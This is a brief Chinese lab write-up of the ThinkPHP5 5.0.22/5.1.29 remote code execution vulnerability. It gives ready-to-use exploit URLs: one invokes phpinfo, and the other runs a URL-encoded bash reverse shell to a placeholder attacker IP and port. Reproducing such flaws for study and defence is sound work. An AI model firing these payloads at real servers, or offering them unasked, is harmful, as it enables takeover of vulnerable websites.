ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
概述
ThinkPHP 是一款免费开源的,在中国被广泛使用的,基于 MVC 模式 的轻量级 PHP 开发框架,旨在快速、简单地开发 Web 应用程序和简化企业应用开发。它遵循 Apache 2.0 开源协议,具有模块化、强大的路由、ORM 等特性,支持多种数据库和链式操作。
在 ThinkPHP5 版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下),恶意用户可以通过提交恶意数据,构造出一个带有 PHP 函数的控制器方法,并通过 URL 参数的形式访问该方法,从而触发远程代码执行漏洞。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/即可看到默认页面。
直接访问该页面并传参:
http://192.168.2.243:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
即可执行相应的命令。
例如可以进一步操作,反弹Shell。
http://192.168.2.243:8080/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPort%200%3E%261"